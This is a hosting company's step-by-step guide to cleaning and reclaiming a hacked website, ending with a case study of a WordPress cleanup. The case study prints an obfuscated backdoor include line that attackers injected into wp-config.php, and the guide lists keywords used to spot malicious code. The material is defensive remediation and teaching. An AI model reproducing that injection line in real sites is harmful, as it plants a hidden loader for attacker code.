Chapter 1: Communicate with Your Website Host
In cases of a website compromise, the hosting provider for the site should be made aware that an incident has occurred. They may not attempt to help you in the least. Then again, they might, either offering to fix it for nothing or a greatly diminished fee. It really depends on the host, but, whether they offer to help you or not, for reasons outlined below, they should be notified.
Sometimes your hosting provider has actually notified you. This often happens, for instance, when spammers are going over the host’s email sending limits, or when other server resources are being exceeded. It may also occur when the website is infected w/malware that poses imminent danger to the safety of your visitors. Some site compromises can endanger an entire server, & this is particularly true if the server in question is configured improperly. The result is that all sites on the server can be compromised unless prompt intervention takes place. Such events often necessitate that the site be taken “off line” so that other sites on the server, or your site’s guests, won’t be impacted. Often the hosting provider will ask for your IP address so that you can be allowed to fix the site, but no one else can visit. In order to provide that data, you can go to any number of sites on the web that provide that information. One of the better known places is:
What’s My IP
Even if your host does not bloc your visitors, you may be able to do so yourself, should you feel it expedient to do so. The task is fairly straightforward.
The majority of WordPress sites run on the Apache webserver, which uses a file called .htaccess that contains many rules regarding your website. It is, for example, what makes “pretty permalinks” possible in WordPress, i.e., addresses like https://yoursite.com/yourpost rather than https://yoursite.com/?p=108. It is also, unfortunately, where criminals sometimes store compromise-related settings.
Once you’ve obtained your IP, you can place the following lines in your .htaccess file to bar access to your site by others while you repair & reclaim it. They should come after the following lines, which are likely already present:
RewriteEngine On “
#Allow only your IP access to your site
RewriteCond %{REMOTE_ADDR} !^123.456.789
RewriteRule .* – [R=503,L]
The numbers represent an IP address, & you should substitute yours for them. The 503 signifies that the page is temporarily unavailable. Thus everyone who visits the page except you will get a message that the site is temporarily not available. There are fancier ways to do this, but this works as a quick method to protect your site guests while you repair & reclaim your website.
If your webserver is Nginx, put the following lines in your nginx.conf file.
allow your.ip;
deny all;
where your.ip, obviously, is your IP address.
Once you’ve communicated w/your web hosting provider, it’s time to move onto the next step of the process.
Chapter 2: Secure Your Devices
Now that you’ve communicated w/your host, it’s time to ensure that all devices you’ll be using to log into & fix your website are secure & free from malware, i.e., viruses, worms, trojans, etc. It does little good to make your credentials beyond bulletproof only to have malware phone them home to a command-&-control server.
It’s wise to use more than one malware scanner, as not every program detects all variants of malware. At the same time, it’s unwise to have two malware scanners on your device that both detect in real-time. The thing to do is to use your real-time scanning program as well as to find an on-demand malware scanner. Be certain, however, that the malware scanner you get comes from an ethical source. There are plenty of “scareware” vendors out there, that is, those who will sell you a program that claims you’re infected when you’re not, simply so they can get your hard-earned cash for cleaning a problem that never existed to begin with. Since I’m assuming you already have real-time malware protection in place, here is a recent list of reputable, on-demand scanners.
Best Free Antivirus Software for 2018
Once you’re certain the device(s) you’ll be using to log onto your website are clean, it’s time to move onto the next step of ensuring the security of your network.
Chapter 3: Secure Your Network
Now that you’re as certain as you can be that the devices you’ll use to log into your site are clean, the next step is to ensure that the network you use to log onto your website is secure. It’s highly advisable that you not use public Wifi hotspots such as in eateries, transportation hubs, places of lodging, etc., as these are notably insecure. If you absolutely must do so, then use a VPN to encrypt your traffic to & from your server in order to prevent possible sniffing of transmitted credentials & other sensitive information.
If you’re logging in using your home or office network, especially if you’re connecting wirelessly, make sure the default password, &, if possible, the default username, is changed on the router. All routers come w/built-in credentials, & the vast majority are either available through online documentation or are easily guessed. Some routers won’t allow username changes, but at least make the password long & strong. & in the event you’re not using wireless capabilities, disable them. Make sure your encryption is as strong as possible–at least WPA 2 until WPA3 is fully supported–& turn off WPS!
Unfortunately, routers vary greatly in terms of their settings, as there are no standards. Therefore, posting instructions would probably not prove helpful. My suggestion is that you consult your hardware’s documentation, talk w/your ISP’s customer service support personnel, or hire someone to do this for you. It should not take long.
If you will be uploading files to your website, log into your hosting provider’s file manager using the https protocol, i.e., https://brightstarsweb.com/cpanel, or use an FTP client that supports one or more methods of secure file transfer, such as FileZilla, which, as you may recall, was mentioned in the article:
What is a site hack? Consult your hosting provider’s knowledge base for which encryption methods they support & which ports they use. Here at Bright Stars Web, we use SFTP on port 65002.
If you absolutely must log into your website from a public Wifi hotspot, use a VPN. Here’s a list of TechRadar’s best VPN browser extensions for 2018.
TechRadar’s best VPN Browser Extensions 2018
This is a very broad topic, w/considerable variations among operating systems, browsers, & hosting providers. All possible contingencies would probably take up multiple books & numerous websites. Use the ‘Contact Us’ widget on each page to request assistance, if required.
Chapter 4: Change Your Passwords
The next step is to change passwords on your hosting control panel, your dashboard, & your database. As I don’t have access to software like Plesk or Adminer, I unfortunately will not be able to provide screenshot demonstrations of conducting tasks on these programs. I will be using CPanel & PhpMyAdmin, so hopefully you’ll be able to find the equivalent functions if you use other similar software.
Change Your Dashboard Password
Changing Your WordPress Password
Changing your password on your WordPress dashboard is straightforward. Once logged in, go to ‘Users > Your Profile’.
Once the ‘Generate Password’ button is clicked, the following screen appears.
WordPress has generated a password which, although strong, is likely far from anything close to being memorable. Fortunately, you can also overwrite it, as this is an edit field. (screenreader users, press space or enter in the edit field). Change the password to something you’ll recall, making sure it registers as ‘strong’ on the WordPress password meter. An article on how some decidedly nontechnical website owners came up w/decidedly strong passwords can be found here
Protect Yourself with Passwords or pay
in case it’s of interest.
Now scroll down to the ‘Update Profile’ button, click it, & you’re done. You can also click the ‘Hide Password’ button so that your password displays as asterisks (*) on the dashboard.
Changing your Drupal Password
To change your administrative password in Drupal, click ‘manage’ & then ‘People’.
Once the screen appears, click the ‘Edit’ link associated w/your username.
Once the ‘Edit’ link is clicked, you can either change your password or reset it. In order to change it, you will need to know your current password, & fill in your current email address.
Setting Your Joomla! Password
To change your administrative password in Joomla!:
- log into your dashboard.
- Go to the ‘User’s menu & select ‘Manage’.
- Click the user you wish to edit
- Enter the desired password twice, once in the password field & again in the confirmation field.
- Click ‘Save’.
Unfortunately, there are times when the criminals have taken over your administrative account. In such cases, you will not be able to log in. You have two choices in this instance.
- You can simply delete the entire WordPress Installation;
or
- You can create a new administrative account in the database.
An article on how to do that is here:
Create a New WordPress Database User
The techniques are similar for Drupal & Joomla!.
You should also log out all users by opening your wp-config.php file & changing all of the “salts” as instructed there.
Change Your Hosting Provider’s Control Panel Password
To change passwords in CPanel, Login to your CPanel account, & then go to ‘Preferences > Passwords & Security’, assuming you’re using the Paper Lantern theme.
When you click that link, the following screen appears.
In the first edit field, enter your old password, & in the 2nd & 3rd edit boxes, enter & reenter your new password. Click the ‘Change Password Now’ button, & you’re done. The steps won’t be identical for other control panels, but I suspect they’ll be similar enough to be able to locate the needed options.
Change Your Website’s Database Password
From the main CPanel screen that appears after login, choose the ‘MySQL® Databases’ link & click it. The following screen appears.
Now scroll down to ‘MySQL Users’. You have a couple options at this point.
- You can create a new user & add that user to the database;
or
- You can simply change the password of the current database user.
My personal recommendation is that you create an entirely new database user & assign that user to your database, but it’s really your choice. I’ll discuss both options.
To change the database password only, scroll down to ‘Current Users’. Scroll down to the user of your database & click the ‘Change Password’ link. You’ll see the following screen.
Scroll down to ‘Set MySQL User Password’, enter your chosen password twice, click the ‘Change Password’ button, & you’re done.
Creating a new database user is a multi-step process.
- Create the user;
- Add user to the database;
&
- Grant the user the necessary database privileges.
on the MySQL® Databases screen, scroll down to ‘Add New User’. Enter a username, then enter a password twice, & click the ‘Create User’ button.
Instead of entering a password, you could click the ‘Password Generator’ button & let the program make a password for you. Don’t forget to copy the password, though, as you’ll need to put it into the configuration file appropriate to your website. You’re warned about this if you use the ‘Password Generator’, & you even need to check a box that says you’ve done so. Once you’ve done that, click the ‘Use Password’ button or ‘Cancel’ to generate another. If you click the ‘Use Password’ button, your new user is created.
Now that you’ve created a new user, it’s time to assign that user to a database. To do so, on the MySQL Databases screen, scroll down to ‘Add User To Database’. Select the user you created from the dropdown listbox, select the database from the 2nd list box, & click the ‘Add’ button. When you do so, a ‘Manage User Privileges screen shows.
I personally just check the ‘ALL PRIVILEGES’ box, as it tends to lessen the possibility of the site throwing database errors due to improper user privileges. Click the ‘Make Changes’ button, & your task is complete.
Chapter 5: Back Up Your Site
Now that all the applicable passwords have been changed, the next step is to back up your site. You’ll need to back up your files, &, if you have a content management system, you’ll need to back up your database as well.
Backing Up Your Files
When backing up your site’s files, you have a couple options. You can either back up only content that you yourself have put there, such as documents, pictures, & purchased third-party software, or you can back up the entire site. Please do not forget to include the word “hack” somewhere in the filename, as it would not be a great idea to inadvertently restore your site from a hack at a later time. An FTP client is likely the most efficient way to do this. an article called using FileZilla to back up your site shows you how to back up your files.
Your hosting provider may also have facilities for backing up your site in their control panel. Don’t forget to download it from the server once the backup is complete.
Backing Up Your Database
If you have a content management system such as WordPress, Drupal, or Joomla!, your next step is to back up your database. You can do this either from phpMyAdmin or a similar program, from a plugin or module provided by your CMS, or from the command line.
To back up your database using phpMyAdmin, refer to the article:
Backing Up Your Database with phpMyadmin
or, if you have shell access, refer to
Backing Up Your Database from the Command Line
Again, don’t forget to put the word “hack” somewhere in the filename, though the truth is that it very well may not be, depending on the method of site compromise.
Chapter 6: Examine Your Database, User Content, & .htaccess
If your site is based on a content management system (CMS) such as WordPress, Drupal, or Joomla!, you’ll need to examine your database for signs of compromise. My experience is that this doesn’t happen often, but it certainly can, & if you reinstall the site using a compromised database, you’re precisely where you were before going through all the previous steps. Not cool!
Since going line by line through a very large database is time-consuming, my tendency is to load the backed-up database file into a text editor that can handle very large files & search for the following words:
- <? php
- <script
- base64
- eval
- preg_replace
- strrev
This is not an exhaustive list, nor is the presence of any of these words conclusive proof of a site compromise, though some are more suggestive than others. If you find these words, especially if you find several of them, & are concerned that your database may be involved, you would do well to have a professional take a look.
If your site is being redirected to another domain, or your website mentions a domain when you visit, it, then search the database for that particular domain. If certain words such as medications are appearing in search results for your site, use the text editor to search the database for those specific words.
If your database has been compromised, I would definitively suggest hiring a professional, as repairing the site is likely to be quite complex, unless you have a relatively recent backup of the database available that has not been hacked. This is 1 of the best reasons I know of for keeping good backups, as they can save you tremendous amounts of both time & money.
Next, you’ll want to ensure that your user-generated content is free of any evidence of compromise. The best way, of course, is to simply upload fresh copies of the files. If you can’t, then there are several ways you can look for words in files, including via your operating system, text editors, or find utilities. Essentially, you’re looking for text such as <? php or <script in files like images or documents that should never contain that text.
Lastly, you’ll want to check your .htaccess file to see if it contains signs of compromise. This may be difficult for those who aren’t sure what to look for. If you have a known good backup of your .htaccess file, your best bet is simply to replace it. Again, if you’re at all uncertain, it’s best to hire a professional to examine it.
Next, we’ll go onto the last step in the process, that is, reinstalling the site.
Chapter 7: Delete & Replace Files
Now that your site files, &, if required, your database, have been backed up, it’s time to remove all files from the site. Navigate to the folder where your website is stored, select the files & folders within that folder, (the easiest way is likely to press control+a, i.e., hold down the control key while simultaneously pressing the a key), then press the delete key. You’ll be prompted to make sure you want to do that. Agree w/the prompt & wait till the operation has finished. Note: do not delete the folder in which your website files are stored.
If your site is simply an HTML & CSS-based site, then all you need to do is to upload known good copies of your files, & you’re finished. If, however, your site is CMS-based, there are several ways you can reinstall your site. The easiest is probably to use your hosting provider’s control panel. If it happens to have Softaculous as a software installer, I particularly like it because, from my experience, it always has the latest version of the scripts, unlike others I’ve seen where you have to update immediately after installation to get the latest version.
Please check out:
Installing a Website Using Softaculous
for how to do that. Be sure to consult the notes specific to your CMS.
To reinstall your website using the same folder & database as your current site, you can enter the directory name where your site was installed previously, if any, then click the ‘Advanced’ Options tab, where you can enter the name of the database you wish to use, which, in this case, is the database name of your previous site.
Installing via Softaculous is a good deal faster than most file transfer methods.
If you do not have a script installer available through your hosting provider, which I find difficult to imagine, as almost all do, then you can use FTP or your hosting provider’s file manager to install the site. This varies considerably with the content management system you’re installing, & is therefore beyond the scope of this article.
Once you’ve finished the installation, you have a fresh install of all your CMS’s core files. All that’s left now is either to upload your old configuration file to the server, or to modify the sample one your CMS provides with the appropriate database credentials. If you do decide to use the site’s previous configuration file, look through it to ensure the criminals haven’t put bad stuff there. Comparing it to a sample configuration file provided by your CMS should help you readily spot & delete any tainted lines. You’ll also need to re-upload any user-generated content such as pictures, documents, & multimedia files you had used on your site.
At this point, assuming you’ve entered the configuration information correctly, the site should be operable, & you should be able to log into it. If you receive an error connecting to the database, ensure that your database name, username, hostname, & password are correct. You can then install 3rd-party software such as modules/plugins & themes either through your dashboard or via a secure file transfer method.
Congratulations! Your site is now functional & hack-free.
Chapter 8: Rebuild Your Reputation
The next thing you’ll need to do, now that your site is clean, is to determine whether the compromise got your site blacklisted. The first thing to do in order to determine that is to join Google Search Console. As might be expected, you’ll need a Google account for this, so if you don’t have one, now is an excellent time to remedy that.
To joint Google Search Console, go to:
Google Search Console
You’ll receive the following screen.
Type in the name of the website you wish to add & click the ‘ADD A PROPERTY’ button.
The following screen appears.
I’m going to choose the recommended method, which involves downloading a file & then uploading it to the site’s web root folder.
When I click the ‘this HTML verification file. [google7d6c00f922202225.html]’ link, I get the standard dialog to save a file.
I then used my FTP client to upload it to the web root of my site. Press the ‘Verify’ button, & that’s all there is to it. The following congratulatory screen appears.
Click The ‘Continue’ link.
You may have to verify a captcha the first time you use the search console. Simply check the box, enter in the text you see or the words you hear (the audio is sucky, BTW, but it seems like if you’re anywhere near close they verify you), & press the ‘Verify’ button. You’ll need to press it a 2nd time to actually verify the site if you indeed are presented w/a captcha.
Once the site has been successfully verified, click The link containing the name of the newly verified site, in this case, https://www.mysitesbeenhacked.com.
There are 2 areas you’ll want to pay particular attention to. The first is the ‘Security Issues’ link. Clicking that will let you know if Google found anything on your site that could infect your visitors.
The 2nd area of interest is the ‘Search Traffic’ tab. Clicking on it causes it to expand to provide more options, one of which is a link called ‘Manual Actions’. Clicking on that link will notify you of any spam content that Google has flagged on your site. This is also where you can request a reconsideration review of your site, if that link is available. Note you may have to do this for various iterations of your site like www.yoursite.com https://yoursite.com, etc.
Also, bear in mind that Google is not the only blacklist your site may be on. Your next stop should be:
Stop Badware
You can enter your site into the search box to see if it’s on any blacklist. Click the ‘Request Review’ link if so in order to have your site re-examined. Google & other sites tell you the review might take a week or more, but my experience is that they’re generally done in far less time, especially if you’ve followed all the steps & truly gotten rid of the compromise.
A site hack is always a hard thing to have to go through. Hopefully, though, the experience has helped you learn how to better secure your site & how to prevent a recurrence in the future.
Chapter 9: Fixing the Hack: Freeing a Site on the 4th of July–A Real-world Example
Sometimes, as characters in the Mitford books series are wont to say, “There is just no rest for the wicked, and the righteous don’t need none.” and so, on a holiday in the States, when most folks were celebrating the nation’s independence w/their families and taking a break, I found myself at my computer keyboard, working to fix a compromised site.
The hack was really visible too. When I typed in the domain in my address bar–and, incidentally, it had nothing to do w/coachmen, the following (redacted) message appeared:and
hxxp://thecoachmen.tk is requesting your username and password. The site says: “Security Update Error 0xB1983959 Help Desk: 888-386-1497 (TOLL-FREE)”
Well, definitively not cool! So this is an attempt to put all the steps together and show how I went about repairing and reclaiming this compromised site. and by time July 4 was ended in the States, the website owner had their site under their control once more and I still managed to watch some fireworks w/the hubby.
BTW, absolutely do not call the above number! and I’ll leave it to you to figure out whether my situation falls under being wicked, righteous, or, as is more likely the case, somewhere between.
The below steps are precisely those listed in the section on Fixing the Hack.
Notifying the Host, Cleaning Devices, and Securing the Network
Since I knew my machine was clean (a malware scan had just finished, and I take great care to keep my devices squeaky, plus my home network is locked down hard, I skipped these steps. The client’s host was also aware of the compromise and had attempted a fix, but because the backdoors were not closed, those efforts were for naught. So much for notifying the host.
Backing up the Site
Next, I backed up the site. I started by backing up the entire web root folder, in this case public_html. I was using Filezilla to do this, but found myself being disconnected from the server quite regularly. I therefore also initiated a backup using the client’s hosting provider’s control panel as well, as I was concerned that the backup obtained using Filezilla might contain errors due to the multiple disconnects.
Simultaneously, I backed up the database, as detailed in the post:
Backing Up Your Database w/phpMyAdmin
I created a folder with the site’s domain name in my ‘Documents’ folder, then under the site folder I created a new folder called ‘hacked’, where I put the backed up site files. It looks like documents\sitename\hacked. Placing the files in a folder called hacked will allow me to back up the website for safekeeping in the sitename folder once the site has been cleaned. It will also serve as a warning not to use these files unless they’ve been checked carefully.
Changing Passwords
The next step was to change passwords. Obviously I could not log into the dashboard, so I changed the password by way of the database, as shown in the post
Create A New WordPress Admin User Via phpMyAdmin
I also created a new database user and password, as shown in:
Creating a Database User and Granting Privileges in order to change the database credentials.
I next opened the client’s configuration file, in this case, wp-config.php to change the credentials and noted that the first few lines of the file read:
‘/*37464*/@include “\057h\157m\145/\163o\155a\156y\065/\160u\142l\151c\137h\164m\154/\167p\055i\156c\154u\144e\163/\152s\057c\162o\160/\056b\1463\1416\0612\063.\151c\157”;/*37464*/’
Uh, yeah–definitely that’s not supposed to be there. So I deleted the lines and changed the database username and password.
Examine Database, User Content, and .htaccess
Additionally, I also went to WordPress.org secret-key service and changed all the salts. That logs out all users, forcing them to log in again. That way, if unauthorized users were logged into the site, they’d be unceremoniously kicked out.
I also went to the ‘Users > All Users’ portion of the dashboard
and looked for any users w/escallated privileges I didn’t recognize. I found one and deleted it, though I suspect it was probably just the client’s hosting provider. Still, at this point I was taking no chances.
I also installed Wordfence and did a site scan to see what concerns would be raised. In addition to multiple malicious files, including some in the uploads folder, there were issues w/a number of plugins which I noted and sent to the client. 1 of these was the plugin that started the hack (more on that later), as well as several plugins that appear to be no longer maintained by their authors.
I tend to tweak the Wordfence settings pretty liberally when dealing w/a site compromise. Not all of these need to be checked when running routine scans, as they can take up server resources. Therefore, once completed, Wordfence can be reset to its defaults to cut down on resource usage. When in the midst of a site compromise, though, I check the following options:
- Scan core files against repository versions for changes;
- Scan theme files against repository versions for changes;
- Scan plugin files against repository versions for changes;
- Scan wp-admin and wp-includes for files not bundled with WordPress;
- Scan for signatures of known malicious files;
- Scan file contents for backdoors, trojans and suspicious code;
- Scan file contents for malicious URLs;
- Scan posts for known dangerous URLs and suspicious content;
- Scan comments for known dangerous URLs and suspicious content;
- Scan WordPress core, plugin, and theme options for known dangerous URLs and suspicious content;
- Scan for out of date, abandoned, and vulnerable plugins, themes, and WordPress versions;
- Scan for admin users created outside of WordPress;
- Scan for unauthorized DNS changes;
- Scan files outside your WordPress installation;
- Scan images, binary, and other files as if they were executable;
Running Wordfence in a situation like this is not strictly necessary, ie, I could’ve looked the plugins up on my own, but doing so did alert me to files in the uploads folder that I would’ve otherwise had to look through manually, as well as alerting me to abandoned plugins, which I would have also had to check by hand.
Replace and Reinstall Files
Now that I had a complete site backup and the credentials had been changed, I next deleted the files. Normally I just reinstall a site using FTP, but, because of the flakiness I was experiencing using it, I decided to opt for using Softaculous via the client’s control panel instead, since there was no access to the command line. Meh! The steps for doing that are found at: Installing a Website Using Softaculous I used Softaculous’s ‘Advanced Options’ tab to specify the database name I wished to use and changed the table prefix to that of the existing database. Once I hit the ‘Install’ button, I had a fresh clean install of WordPress’s core files.
I deleted the files flagged by Wordfence in the uploads folder (I had actually found them manually beforehand) and uploaded the uploads folder to the server.
I then logged into the dashboard and reinstalled the remaining plugins and themes, w/the exception of those that were unmaintained.
I scanned the site w/both Sucuri and Wordfence to insure that the site was clean. I then deactivated 1 of those security plugins.
Next, I examined the backed-up database using a text editor (EmEditor, for those who are interested, available at Em Editor in case it’s of interest–and, no, I have no financial or any other affiliation w/the company). I looked for words there like:
- < script>
- <?php >
- ‘base64’
- ‘eval’
- ‘preg_replace’
- ‘strrev’
Note that this is not an exhaustive list, and the words by themselves do not definitively prove a site compromise, though some are more suggestive than others, i.e., `strrev`, as that often is an attempt to hide what the code is doing. It’s definitively worth having a professional take a look if you’re uncertain.
I next examined the .htaccess files, both in the web root and in subfolders, if it existed, for any evidence of backdoor code. In this case, no such code was present.
The site backup I initiated using CPanel allowed me to look at some configuration files I normally would not have had access to on a shared hosting platform, so I examined those, too, for any evidence that they had been compromised. They weren’t.
Rebuild Your Reputation
I also registered the website with Google Search console
I checked both the ‘Security Issues’ and the ‘Search Traffic and ‘Manual’ tabs to see if Google found any issues, but it had not. Well, good–less work to do.
At this point, the site was completely repaired and reclaimed and back in the hands of the site owner. So what do I believe happened?
There are several things which I feel led to the hack.
- The major cause of the hack seemed to be stolen wordpress.com credentials, which caused the criminals to be able to log into the site and modify the account. Details can be found here:
Hijacked WordPress.com Accounts Being Used To Infect Sites
I believe this because the plugin called “pluginsamonsters” which was associated w/the compromise, was also present on this site. This is 1 very good reason why the same password should not be used on multiple sites. The supposed goal of the plugin was to help kids work together collaboratively and creatively. Noble, if that were indeed the case, but all it did was compromise the site. Boo, hiss! - There were multiple unmaintained plugins and themes on the site which could’ve contributed to a site compromise, though in this case, I feel strongly it was stolen credentials that caused it.
- The password the client chose was not as strong as it should’ve been.
Once the site was repaired and reclaimed, I discussed my findings and recommendations w/the site owner, including how to make a passphrase as opposed to a password, as well as the importance of using well-maintained 3rd-party software and of keeping the website updated. I suspect that, under the watchful eye of an educated owner, the site should do well for years to come.